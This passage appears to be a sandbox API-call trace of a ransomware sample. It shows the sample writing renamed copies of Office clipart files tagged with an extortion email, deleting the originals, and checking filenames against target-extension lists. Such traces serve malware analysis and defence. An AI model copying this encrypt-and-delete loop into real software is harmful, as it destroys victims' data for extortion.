office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.837] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.837] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.838] GetLastError () returned 0x0 [0253.838] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x60b7, lpOverlapped=0x0) returned 1 [0253.840] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0253.842] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.842] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.842] SetEndOfFile (hFile=0x338) returned 1 [0253.842] CloseHandle (hObject=0x338) returned 1 [0253.842] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.842] SetEndOfFile (hFile=0x200) returned 1 [0253.844] CloseHandle (hObject=0x200) returned 1 [0253.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0253.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.845] lstrlenW (lpString=".doc") returned 4 [0253.846] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0253.846] lstrlenW (lpString=".docx") returned 5 [0253.846] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0253.846] lstrlenW (lpString=".pdf") returned 4 [0253.846] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0253.846] lstrlenW (lpString=".xls") returned 4 [0253.846] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0253.846] lstrlenW (lpString=".xlsx") returned 5 [0253.846] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0253.846] lstrlenW (lpString=".ppt") returned 4 [0253.846] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString=".zip") returned 4 [0253.846] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0253.846] lstrlenW (lpString=".rar") returned 4 [0253.846] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0253.846] lstrlenW (lpString=".bz2") returned 4 [0253.846] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0253.846] lstrlenW (lpString=".7z") returned 3 [0253.846] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString=".dbf") returned 4 [0253.846] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString=".1cd") returned 4 [0253.846] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString=".jpg") returned 4 [0253.846] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.846] lstrlenW (lpString=".doc") returned 4 [0253.846] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0253.846] lstrlenW (lpString=".docx") returned 5 [0253.846] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0253.847] lstrlenW (lpString=".pdf") returned 4 [0253.847] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0253.847] lstrlenW (lpString=".xls") returned 4 [0253.847] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0253.847] lstrlenW (lpString=".xlsx") returned 5 [0253.847] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0253.847] lstrlenW (lpString=".ppt") returned 4 [0253.847] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0253.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.847] lstrlenW (lpString=".zip") returned 4 [0253.847] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0253.847] lstrlenW (lpString=".rar") returned 4 [0253.847] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0253.847] lstrlenW (lpString=".bz2") returned 4 [0253.847] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0253.847] lstrlenW (lpString=".7z") returned 3 [0253.847] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0253.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.847] lstrlenW (lpString=".dbf") returned 4 [0253.847] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0253.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.847] lstrlenW (lpString=".1cd") returned 4 [0253.847] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0253.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0253.847] lstrlenW (lpString=".jpg") returned 4 [0253.847] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0253.847] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.847] lstrlenW (lpString="J0099146.WMF") returned 12 [0253.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.848] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=16596) returned 1 [0253.848] CloseHandle (hObject=0x200) returned 1 [0253.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0253.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.849] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.849] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.849] GetLastError () returned 0x0 [0253.849] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x40d4, lpOverlapped=0x0) returned 1 [0253.851] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0253.852] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.852] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.852] SetEndOfFile (hFile=0x338) returned 1 [0253.852] CloseHandle (hObject=0x338) returned 1 [0253.852] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.853] SetEndOfFile (hFile=0x200) returned 1 [0253.855] CloseHandle (hObject=0x200) returned 1 [0253.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0253.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.856] lstrlenW (lpString=".doc") returned 4 [0253.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.856] lstrlenW (lpString=".docx") returned 5 [0253.856] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.856] lstrlenW (lpString=".pdf") returned 4 [0253.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.856] lstrlenW (lpString=".xls") returned 4 [0253.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.856] lstrlenW (lpString=".xlsx") returned 5 [0253.856] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.856] lstrlenW (lpString=".ppt") returned 4 [0253.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".zip") returned 4 [0253.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.857] lstrlenW (lpString=".rar") returned 4 [0253.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString=".bz2") returned 4 [0253.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString=".7z") returned 3 [0253.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".dbf") returned 4 [0253.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".1cd") returned 4 [0253.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".jpg") returned 4 [0253.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".doc") returned 4 [0253.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString=".docx") returned 5 [0253.857] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0253.857] lstrlenW (lpString=".pdf") returned 4 [0253.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString=".xls") returned 4 [0253.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.857] lstrlenW (lpString=".xlsx") returned 5 [0253.857] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0253.857] lstrlenW (lpString=".ppt") returned 4 [0253.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.857] lstrlenW (lpString=".zip") returned 4 [0253.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.857] lstrlenW (lpString=".rar") returned 4 [0253.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.858] lstrlenW (lpString=".bz2") returned 4 [0253.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.858] lstrlenW (lpString=".7z") returned 3 [0253.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.858] lstrlenW (lpString=".dbf") returned 4 [0253.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.858] lstrlenW (lpString=".1cd") returned 4 [0253.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0253.858] lstrlenW (lpString=".jpg") returned 4 [0253.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.858] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0253.858] lstrlenW (lpString="J0099147.JPG") returned 12 [0253.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.858] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=24377) returned 1 [0253.859] CloseHandle (hObject=0x200) returned 1 [0253.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0253.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.859] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.859] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.860] GetLastError () returned 0x0 [0253.860] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5f39, lpOverlapped=0x0) returned 1 [0253.862] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0253.863] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.863] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.864] SetEndOfFile (hFile=0x338) returned 1 [0253.864] CloseHandle (hObject=0x338) returned 1 [0253.864] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.864] SetEndOfFile (hFile=0x200) returned 1 [0253.866] CloseHandle (hObject=0x200) returned 1 [0253.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0253.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.867] lstrlenW (lpString=".doc") returned 4 [0253.867] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0253.867] lstrlenW (lpString=".docx") returned 5 [0253.867] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0253.867] lstrlenW (lpString=".pdf") returned 4 [0253.867] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0253.867] lstrlenW (lpString=".xls") returned 4 [0253.867] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0253.867] lstrlenW (lpString=".xlsx") returned 5 [0253.867] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0253.867] lstrlenW (lpString=".ppt") returned 4 [0253.867] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0253.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.867] lstrlenW (lpString=".zip") returned 4 [0253.867] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0253.867] lstrlenW (lpString=".rar") returned 4 [0253.867] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString=".bz2") returned 4 [0253.868] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0253.868] lstrlenW (lpString=".7z") returned 3 [0253.868] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString=".dbf") returned 4 [0253.868] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString=".1cd") returned 4 [0253.868] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString=".jpg") returned 4 [0253.868] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString=".doc") returned 4 [0253.868] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0253.868] lstrlenW (lpString=".docx") returned 5 [0253.868] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0253.868] lstrlenW (lpString=".pdf") returned 4 [0253.868] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString=".xls") returned 4 [0253.868] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString=".xlsx") returned 5 [0253.868] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0253.868] lstrlenW (lpString=".ppt") returned 4 [0253.868] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.868] lstrlenW (lpString=".zip") returned 4 [0253.868] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString=".rar") returned 4 [0253.868] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0253.868] lstrlenW (lpString=".bz2") returned 4 [0253.868] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0253.868] lstrlenW (lpString=".7z") returned 3 [0253.869] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0253.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.869] lstrlenW (lpString=".dbf") returned 4 [0253.869] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0253.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.869] lstrlenW (lpString=".1cd") returned 4 [0253.869] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0253.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0253.869] lstrlenW (lpString=".jpg") returned 4 [0253.869] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0253.869] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0253.869] lstrlenW (lpString="J0099148.JPG") returned 12 [0253.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.869] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=18258) returned 1 [0253.869] CloseHandle (hObject=0x200) returned 1 [0253.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0253.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.870] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.870] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.871] 